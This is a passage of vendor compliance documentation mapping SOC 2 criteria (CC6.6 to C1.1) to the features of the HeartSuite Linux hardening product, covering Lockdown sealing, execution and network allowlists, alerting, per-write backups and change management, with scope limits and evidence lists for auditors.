HeartSuite Lockdown seals five categories of system infrastructure using chattr +i filesystem immutability. During activation the Dashboard shows a per-category inventory (read-only, with pointers to the prep for any grant adjustments using the per-panel actions such as [u] undos). The Lockdown activation log records what was sealed.

The five sealed categories:

CategoryWhat is protected
HeartSuite configurationAllowlist files, mode state file, kernel image directory
System integrityShared libraries (/usr/lib/), systemd unit directories, SSH server config (sshd_config), sudo policy
Authentication state/etc/passwd, /etc/shadow, /etc/group, no-login shells
Scheduled tasks and login scriptsCron and anacron configuration, environment defaults, root shell profiles
Maintenance toolsFile editors made non-executable; rm/cp/mv replaced with restricted copies

While Lockdown is active, the kernel itself disables chattr — no user or program, including root, can remove the immutable flags. Modifying any of these resources requires booting the maintenance kernel, which requires physical presence (keyboard and monitor, serial port, or cloud provider serial console).

This means an attacker who reaches root via SSH cannot modify the SSH server configuration, create new user accounts, change passwords, install malicious cron jobs, or plant login-script backdoors.

Scope: HeartSuite installs agetty autologin on the serial port (/dev/ttyS0). Whoever has access to the cloud provider’s out-of-band console (AWS EC2 Serial Console, Azure Serial Console, GCP serial port, DigitalOcean Console) can reach the maintenance kernel without further authentication from HeartSuite. Restricting serial console access is a customer-side organizational control enforced through cloud provider IAM — it is the final backstop of Lockdown’s protection model.

Evidence artifacts:

  • Lockdown activation log showing the five sealed categories and their file counts
  • Demonstration that /etc/passwd cannot be modified while Lockdown+sealed is active
  • Demonstration that SSH config cannot be modified while Lockdown+sealed is active
  • ls -la /.hs/sys/ showing immutable flags on allowlist files
  • Cloud provider IAM policy restricting serial console access to named personnel

CC6.7 — Transmission integrity and confidentiality

Control requirement: The entity restricts the transmission of confidential information to authorized internal and external users and protects it during transmission.

How HeartSuite satisfies this:

HeartSuite enforces per-program outbound network controls. In Lockdown, every outbound connection attempt by every program is either on the network allowlist or blocked at the kernel. This applies regardless of user privilege.

Specific transmission controls:

  • Outbound allowlist: Each program has its own set of approved destination IP addresses. Approving a destination for one program does not grant any other program access to the same destination.
  • HTTPS enforcement: Webhook alert delivery requires an HTTPS URL. HTTP (non-TLS) webhook URLs are rejected at configuration time.
  • C2 callback prevention: In Lockdown, any program attempting to connect to a destination not in its network allowlist is blocked. This includes malware attempting to reach command-and-control infrastructure. The Log4Shell attack (CVE-2021-44228), which works by causing a vulnerable application to reach outbound to attacker infrastructure, is blocked at the network gate.
  • Exfiltration prevention: Even if an attacker compromises an approved program, that program can only connect to destinations already in its network allowlist — destinations reviewed and approved by an administrator during Setup Mode.

Scope: HeartSuite enforces no inbound connection controls. Inbound network filtering (port restrictions, protocol controls) is a customer-side responsibility via the OS (iptables, nftables, ufw) or cloud security groups.

Evidence artifacts:

  • Internet Access queue showing per-program, per-IP approvals
  • Alert log showing blocked outbound connections (in Lockdown)
  • Webhook configuration showing HTTPS requirement
  • Demonstration that a new outbound connection attempt generates a block alert when the destination is not allowlisted

CC6.8 — Malware and unauthorized software prevention

Control requirement: The entity implements controls to prevent or detect and act upon the introduction of unauthorized or malicious software.

How HeartSuite satisfies this:

This is the primary use case of Root Lock by HeartSuite. The implementation is structural, not signature-based:

Default-deny execution: In Lockdown, the HeartSuite kernel refuses to execute any program not in the allowlist. A file downloaded to /tmp — a reverse shell, a credential dumper, a dropper — cannot execute. It has no allowlist entry. The kernel refuses the execve() call regardless of file permissions, user privilege, or whether the file was detected by any scanner.

Interpreted code coverage: Python, Perl, and PHP scripts are covered by Secure Script Launchers. Each script gets its own allowlist entry, separate from the interpreter. The Python interpreter may be on the allowlist; a malicious .py file dropped at /tmp/attack.py is not — in Lockdown, it is blocked before the interpreter processes it.

Reduced kernel features attackers can reach: The HeartSuite kernel deliberately omits primitives that are common privilege-escalation and bypass paths (eBPF, FUSE, overlay, user namespaces, competing LSMs). This removes the attack surface by design.

See System Requirements and Deployment Scenarios for details.

Module loading restriction: In Lockdown, kmod, modprobe, and insmod have no allowlist entries by default and cannot execute. Module-based rootkits cannot be installed because the module loaders cannot run. Where kmod is required for hardware drivers, its file access permissions can be restricted to specific .ko paths, preventing it from loading unauthorized modules.

Post-compromise file recovery: When an approved program is compromised and encrypts or corrupts files (e.g., ransomware running inside an approved process), HeartSuite’s per-write backup preserves every version. Recovery starts from the moment before the damage began, not the last scheduled backup window. Under Lockdown, the kernel blocks all programs from accessing the backup directory — backups cannot be destroyed even by an attacker running as root.

Alert on new blocked programs: In Lockdown, any program path that appears in the denial log and has never appeared in any prior log session triggers an alert to all configured channels immediately.

Evidence artifacts:

  • Alert log showing blocked execution attempts in Lockdown
  • Dashboard Programs queue showing items blocked and denied
  • Kernel configuration file (/.hs/sys/ kernel config) showing compiled-out features
  • CVE status table from Kernel Security Transparency page showing features not compiled in
  • Backup configuration and version history showing per-write versioning

CC7 — System operations

CC7.1 — Detection of vulnerabilities and threats

Control requirement: The entity uses detection and monitoring procedures to identify (1) changes to configurations that introduce vulnerabilities; (2) susceptibility to new vulnerabilities; (3) security events indicating potential or actual threats.

How HeartSuite satisfies this:

Vulnerability surface reduction: HeartSuite reduces the kernel features attackers can reach by removing them at compile time. The Kernel Security Transparency page documents every relevant CVE against the HeartSuite kernel, with per-CVE “Score on HeartSuite” ratings showing the actual risk after HeartSuite’s structural mitigations. CVEs affecting kernel features not compiled into HeartSuite receive a Score on HeartSuite of 0.0 — the vulnerable feature is not present in the HeartSuite kernel by design.

Configuration change detection: Under Lockdown, the allowlist is sealed and cannot be changed. Any attempt to modify allowlist files, HeartSuite configuration, or system integrity files (shared libraries, systemd units, SSH config) is blocked at the kernel level and can be detected via the “Critical file version created outside maintenance window” alert, which fires when a new backup version is created for files under /etc/, /bin/, /usr/bin/, /sbin/, /lib/, or /usr/lib/ while Lockdown is active.

Threat detection in operation:

Threat signalHeartSuite detection mechanism
New malware execution attemptBlock alert: “Previously unseen program blocked”
C2 callback or data exfiltrationBlock alert: “Network burst to new destinations”
File modification attempt in protected pathsBlock alert: “Critical file version created outside maintenance”
Mode/state changes (Setup ↔ Lockdown)Immediate alert on all channels on every state change
New allowlist pushed while Lockdown activeImmediate alert on all channels

Integration with vulnerability management: HeartSuite is explicitly designed to complement — not replace — vulnerability scanners (Tenable Nessus, Qualys VMDR, Rapid7 InsightVM). HeartSuite reduces the blast radius of an unpatched vulnerability; the scanner maps what needs patching. Both controls are needed for SOC 2.

Evidence artifacts:

  • Alert channel configuration (email, syslog, webhook)
  • Alert log showing state-change alerts
  • Syslog forwarding configuration to SIEM (rsyslog rule capturing the heartsuite ident)
  • Dedicated JSONL approval log (for change attribution)
  • CVE status table showing HeartSuite’s kernel vulnerability posture
  • Vulnerability scanner reports (separate tool — HeartSuite does not provide this)

CC7.2 — System monitoring for anomalies and indicators of compromise

Control requirement: The entity monitors system components and the operation of those components for anomalies that are indicative of malicious acts, natural disasters, and errors affecting the entity’s ability to meet its objectives.

How HeartSuite satisfies this:

Continuous protection state monitoring:

The HeartSuite Dashboard displays a full-width, high-contrast protection state indicator showing the current system state at all times:

StateIndicator
Setup ModeSETUP MODE — logging only, nothing is blocked
Lockdown (no immutable seal)LOCKDOWN — immutable seal not applied
Lockdown + sealedBlank (silence means safety)
maintenance kernelmaintenance kernel — no blocking, logging, or backups

Status JSON polling surface: ~/.cache/heartsuite/status.json is updated every 60 seconds. Ansible, Nagios, Zabbix, and similar tools can read this file via SSH pull for automated health checks. No additional configuration required.

Syslog integration: Root Lock by HeartSuite emits two structured RFC 5424 syslog streams to /dev/log under the heartsuite APP-NAME (a single rsyslog rule such as :programname, isequal, "heartsuite" @@siem-host:514 forwards both). The enforcement stream emits one record per kernel decision (program execution, file access, or network connection) with MSGIDs such as HS-PROG-DENY, HS-FILE-DENY, HS-FILE-WDENY, and HS-NET-DENY; the structured data includes the decision type, program, and target. Lag is typically under one second. The alert stream carries higher-level, deduplicated events (new_program_blocked, network_burst, mode changes, and similar). Alerts are also delivered via the configured webhook and email channels; those timestamps reflect alert evaluation time rather than the original kernel event time.

Webhook integration: Every alert is POSTed immediately as a JSON payload to the configured webhook endpoint. Example payload structure:

{
  "node_id":    "prod-web-03",
  "event_type": "new_program_blocked",
  "timestamp":  "2026-03-31T14:22:00Z",
  "mode":       "Lockdown",
  "lockdown":   false,
  "paths":      ["/tmp/dropper", "/tmp/payload"],
  "count":      2
}

This payload can drive PagerDuty, OpsGenie, Slack, or any incident management tool.

Log retention and audit channels: The on-device activity log (/.hs/sys/HS_log.txt) is cleared on every maintenance cycle and auto-cleared when all review queues drain in Setup Mode. The rotating application audit log (/var/log/heartsuite/ui.log) is size-capped at approximately 8 MB. For long-term retention and cross-host correlation, the syslog streams are the appropriate mechanism. In addition, every allowlist approval is written to a dedicated, persistent JSONL approval log containing timestamp, uid, and tty for each change to programs, file paths, or network destinations. Lockdown activation decisions and per-panel grant opt-outs are verdict-driven and carry provenance back to the specific allowlist state and decision records that produced them.

Evidence artifacts:

  • Syslog forwarding rule in /etc/rsyslog.d/heartsuite.conf (or equivalent) capturing the heartsuite ident
  • Dedicated JSONL approval log with timestamp, uid, tty, and entry details for every allowlist change
  • Per-decision enforcement stream records in the customer SIEM (MSGIDs for program, file, and network decisions)
  • Sample alert payloads from webhook endpoint
  • ~/.cache/heartsuite/status.json showing current system state
  • SIEM alert records and raw enforcement events covering the audit period (customer-operated SIEM required for Type II evidence spanning months)
  • Verification: journalctl -t heartsuite --since "1 hour ago" (or the equivalent facility) showing both enforcement and alert activity

CC7.3 — Evaluation of security events

Control requirement: The entity evaluates security events to determine whether they could or have resulted in a failure of the entity to meet its objectives, and, if so, takes actions to prevent or address such failures.

How HeartSuite satisfies this:

HeartSuite classifies security events into two tiers:

Immediate alerts (administrative state changes) — these fire on all channels with no delay:

  • Mode switch (Setup Mode ↔ Lockdown)
  • Lockdown activation or deactivation
  • New allowlist file pushed while Lockdown is active

Threshold-filtered alerts (operational blocks) — these apply noise reduction before delivery, while syslog and webhook receive them immediately:

  • Previously unseen program blocked (appears in denial log for the first time)
  • Network burst to new destinations (single program, multiple new destinations, 2-hour window)
  • Critical file version created outside maintenance window

What is never alerted (documented in the product to prevent alert fatigue):

  • Anything in Setup Mode
  • Repeated blocks of a program-destination pair already seen in the current session
  • File version activity under /tmp/, /var/tmp/, or /dev/shm/

In Lockdown, the Dashboard’s review queues shift from approval mode to read-only investigation mode. Denied items appear in the queues. Use [n] to navigate denied items. Each denied item shows the program, path, and attempt count — the same metadata used during approval.

Evidence artifacts:

  • Alert Settings configuration screenshot showing configured channels
  • Alert log from a known test event (using the Test Email function)
  • Dashboard Lockdown queue showing denied items and investigation workflow
  • SIEM correlation rules that consume the HeartSuite alert feed (customer-operated SIEM required for audit-period-length evidence)

CC7.4 — Incident response

Control requirement: The entity responds to identified security incidents by executing a defined incident response program.

How HeartSuite satisfies this:

HeartSuite provides technical controls for the detection and containment phases of incident response. It does not provide a full incident response program — that is an organizational control. HeartSuite’s role in incident response:

Containment (structural):

  • Under Lockdown, a compromised program cannot launch new programs, cannot exceed its file access permissions, cannot connect to unapproved network destinations, and cannot modify the allowlist or system configuration
  • These constraints apply automatically — they do not require responder action during the incident
  • Nothing the attacker ran survives a reboot (allowlist modifications are in-memory only; the on-disk allowlist is immutable)

Investigation:

  • Dashboard Lockdown queue shows all denied items (blocked programs, file accesses, network connections) with timestamps and paths
  • journalctl -t heartsuite-alert provides a timestamped log of all alerts
  • File version history in Dashboard Backup shows what changed and when, supporting forensic timeline reconstruction

Allowlist update during active incident:

  • If a compromised program must be removed from the allowlist, a maintenance window is required (Option 1: switch to Setup Mode, or Option 2: boot maintenance kernel for Lockdown recovery)
  • Maintenance presents a safety checklist (network isolation, daemon shutdown, SSH restriction) before allowing mode changes

Recovery:

  • File Backup allows restoring any file to any prior version, including versions from before a compromise began
  • Timeline view allows batch restore of all files modified on a given date — the appropriate tool for ransomware recovery

Scope: HeartSuite does not provide a customer-facing incident response policy template. An IR policy covering escalation contacts, communication plan, SLAs, and regulatory notification is an organizational control that must be supplied by the customer. HeartSuite’s technical containment and investigation capabilities serve as the evidence base for that policy.

Evidence artifacts:

  • Incident response policy document (organizational — customer-supplied)
  • Alert logs from the incident under investigation
  • Maintenance window log showing the date and steps of allowlist update
  • Backup restore log from hs-version-manager or Dashboard Backup showing recovery actions

CC7.5 — Recovery from security incidents

Control requirement: The entity identifies, develops, and implements activities to recover from identified security incidents and communicates those activities.

How HeartSuite satisfies this:

Per-write versioned backups:

HeartSuite creates a backup version of every file write in protected directories. Unlike scheduled snapshot tools, there is no backup window — if a file is encrypted or corrupted at 3:47 AM, the version from 3:46 AM exists. This is the gap that ransomware exploits in schedule-based backup tools (and the gap CVE-2024-40711 for Veeam Backup & Replication exploited by targeting the backup agent itself).

Under Lockdown, backup files are protected by the kernel itself — no program, including root, can read or overwrite them. The backup agent itself is not a running process and cannot be killed; the protection is structural.

Recovery workflow:

Recovery scenarioHeartSuite tool
Single file corruptedDashboard Backup → File-first browse → select version → restore
Ransomware: many files modified same dayDashboard Backup → Timeline view → filter by date → batch restore
Restore from CLI/automationhs-version-manager restore <path> --version <timestamp>
List available versionshs-version-manager list <path>

System recovery after HeartSuite kernel failure:

If the HeartSuite kernel fails to load, the startup script isolates the primary network interface and removes all immutable flags. The system is then without HeartSuite protection and without network access. Recovery requires booting to the maintenance kernel from physical or serial-console access.

Scope: Backup files are versioned filesystem copies — there is no encryption at the HeartSuite layer. If backup confidentiality at rest is required, disk-level encryption (dm-crypt/LUKS) must be configured at the OS level by the customer. An alert fires when backup transitions from enabled to disabled, and when any previously-covered directory is removed from coverage.

Evidence artifacts:

  • Backup configuration showing protected directories
  • Test restore log demonstrating successful file recovery
  • Backup directory listing showing version history for a protected file
  • Recovery procedure documentation (this document and the product’s Maintenance guide)

CC8 — Change management

CC8.1 — Controls for changes to infrastructure and software

Control requirement: The entity authorizes, designs, develops or acquires, configures, documents, tests, approves, and implements changes to infrastructure, data, software, and procedures to meet its change management objectives.

How HeartSuite satisfies this:

All changes require a maintenance window:

Any change to system configuration, installed software, or network access patterns requires switching to Setup Mode first. This is enforced by the kernel — in Lockdown, package installations fail because dpkg cannot create temporary directories that the kernel blocks. Software updates cannot be installed silently while Lockdown is active.

The required change management flow:

  1. Open a maintenance window from the Dashboard (Maintenance [t])
  2. Complete the safety checklist (network isolation, daemon shutdown, SSH restriction)
  3. Confirm mode switch (type YES)
  4. Make changes — install packages, update configuration, apply updates
  5. Review new activity in the Dashboard queues (new programs, file accesses, network destinations)
  6. Approve new entries explicitly before re-engaging Lockdown

Update integrity verification:

HeartSuite updates are delivered as a single self-extracting bundle (heartsuite-install.sh). Before running the installer, the SHA-256 checksum must be verified against the published value:

sha256sum -c heartsuite-install.sh.sha256

The installer aborts if run on the active HeartSuite kernel, requiring the two-reboot update sequence that prevents unapproved code from replacing the kernel while it is running.

Allowlist as change record:

The allowlist is the authoritative record of every program, file access, and network connection that has been reviewed and approved. Every entry was created by an administrator through the Dashboard review queues. Each approval action is written to a dedicated, persistent JSONL approval log that records the timestamp, uid, tty, and the exact entry details. The allowlist itself, stored in /.hs/sys/, is immutable under Lockdown.

Scope: Update integrity relies on SHA-256 checksum verification — there is no GPG or PGP signature authenticating the bundle’s origin against a HeartSuite-controlled signing key. The checksum verifies the file arrived intact; supply-chain authentication depends on retrieving the bundle and checksum over HTTPS from the HeartSuite distribution endpoint. There is no built-in multi-host push from a HeartSuite server; policy is applied per-host by your automation (Ansible, Terraform, scripts, GitOps, ServiceNow, etc.), with rich export for central consumption and attribution. See Central Policy Management and External Control for patterns. In fleet deployments, allowlist changes are applied per server by the customer’s control plane. Lockdown entitlement still requires per-host subscription activation.

Evidence artifacts:

  • Maintenance window log showing dates of mode changes
  • Update installation log at /var/log/heartsuite/install.log
  • SHA-256 verification output from update procedure
  • Dedicated JSONL approval log with timestamp, uid, tty, and the specific program, file, or network entries approved in each change
  • Allowlist showing programs, file accesses, and network destinations approved for each maintenance cycle
  • Dashboard queue review records showing items approved during each maintenance window

A1 — Availability

A1.2 — Environmental threats and system components

Control requirement: The entity protects against or mitigates environmental threats that could impair the availability of the system.

How HeartSuite satisfies this:

Ransomware resilience: The primary availability threat to production servers is ransomware. HeartSuite addresses this at two layers:

  1. Prevention layer: In Lockdown, programs not on the allowlist cannot execute — a ransomware binary dropped on the server cannot run.
  2. Recovery layer: If ransomware runs inside an approved process (e.g., malware that hijacks a legitimate application), per-write backups preserve all file versions. Under Lockdown, the kernel protects backup files from the compromised process.

Malware persistence prevention: Nothing an attacker installs survives a reboot. Cron jobs, systemd units, and shell profile backdoors are sealed under Lockdown. A rebooted system returns to the state at Lockdown activation.

Maintenance safety checklist: Before any mode change, the Dashboard presents a checklist that flags network exposure, active daemons, and SSH configuration. This reduces the risk of an attacker exploiting the maintenance window (the period when blocking is temporarily suspended).

Scope: HeartSuite does not prevent denial-of-service (DoS) at the application or network layer. Root can kill -9 approved services or panic the kernel. Availability hardening against DoS requires a separate control. An alert fires when backup is disabled or a covered directory is removed from coverage. HeartSuite’s ransomware prevention and per-write recovery remain in place regardless.

Evidence artifacts:

  • Backup configuration showing protected directories and version history
  • Alert log showing ransomware-related blocked execution attempts
  • Maintenance window log showing safety checklist completion

C1 — Confidentiality

C1.1 — Protection of confidential information

Control requirement: The entity identifies and maintains confidential information to meet the entity’s objectives related to confidentiality.

How HeartSuite satisfies this:

File access containment: Every program can only read the files in its file access allowlist. A compromised application cannot read credentials, private keys, or confidential data that it was never approved to access during Setup Mode. This applies regardless of user privilege.

Exfiltration prevention: Even if a program can read confidential data within its file access allowlist, it cannot send that data to an unapproved destination. The network allowlist restricts each program to specific IPs. A program with no approved outbound destinations has no exfiltration path at all.

Scope: An attacker who reaches root on the running system can read disk content with direct kernel-level access. Confidentiality during a live breach session is the role of disk encryption (dm-crypt/LUKS), not HeartSuite Lockdown. Backup files are versioned filesystem copies with no encryption at the HeartSuite layer; disk-level encryption covers backup files if applied at the OS level. HeartSuite limits what data can be exfiltrated, not what data can be read from a running kernel session.

Evidence artifacts:

  • File access allowlist showing that programs are scoped to their required paths
  • Network allowlist showing outbound destinations per program
  • Disk encryption configuration (separate control — customer-supplied)

Summary table

SOC 2 criterionHeartSuite coverageEvidence type
CC6.1 Logical accessProgram/file/network allowlist; kernel-level blocking in LockdownAllowlist export, Dashboard screenshot
CC6.3 Role separationNot implemented — flat root access; organizational control requiredCustomer sudoers policy, PAM records
CC6.6 Infrastructure accessLockdown seals 5 categories (chattr +i); maintenance kernel requires physical/serial presenceSealed file inventory, Lockdown activation log
CC6.7 Transmission protectionPer-program outbound allowlist in Lockdown; HTTPS-only webhook; no inbound controlsNetwork allowlist, webhook config
CC6.8 Malware preventionDefault-deny execution in Lockdown; Secure Script Launchers; compiled-out rootkit features; per-write backupBlock alert log, CVE table, backup config
CC7.1 Threat detectionBlock alerts (new program, network burst, critical file); SIEM syslog integration (per-decision enforcement stream + alert stream)Alert configuration, syslog rule, dedicated JSONL approval log, SIEM records
CC7.2 System monitoringProtection state indicator; status.json; two syslog streams (enforcement decisions + alerts); webhook; dedicated JSONL approval log; rotating application audit logSIEM records + JSONL approval log for Type II audit period
CC7.3 Security event evaluationAlert classification (immediate vs. threshold); Lockdown queue for investigationAlert logs, denied-item queue, SIEM records
CC7.4 Incident responseStructural containment; investigation queue; file restore; no customer IR runbook templateMaintenance log, restore records, customer IR policy
CC7.5 RecoveryPer-write versioned backup under kernel protection; alerts on backup-disabled and coverage-reduced transitions; no encryption at HeartSuite layerBackup config, version history, restore log
CC8.1 Change managementMaintenance window required; SHA-256 update verification (no GPG); per-host allowlist applied by customer automation with rich export (status.json, JSONL approval log, syslog, webhook) for central consumption; no built-in multi-host push from HeartSuiteMaintenance log, install log, allowlist, central automation records, SIEM/JSONL evidence
A1.2 Availability protectionRansomware blocking in Lockdown + per-write recovery; malware persistence preventionBackup config, alert log, maintenance checklist
C1.1 ConfidentialityFile access scoping; outbound exfiltration prevention; no backup encryption at HeartSuite layerFile/network allowlist, disk encryption config

Last Updated: 2026-05-28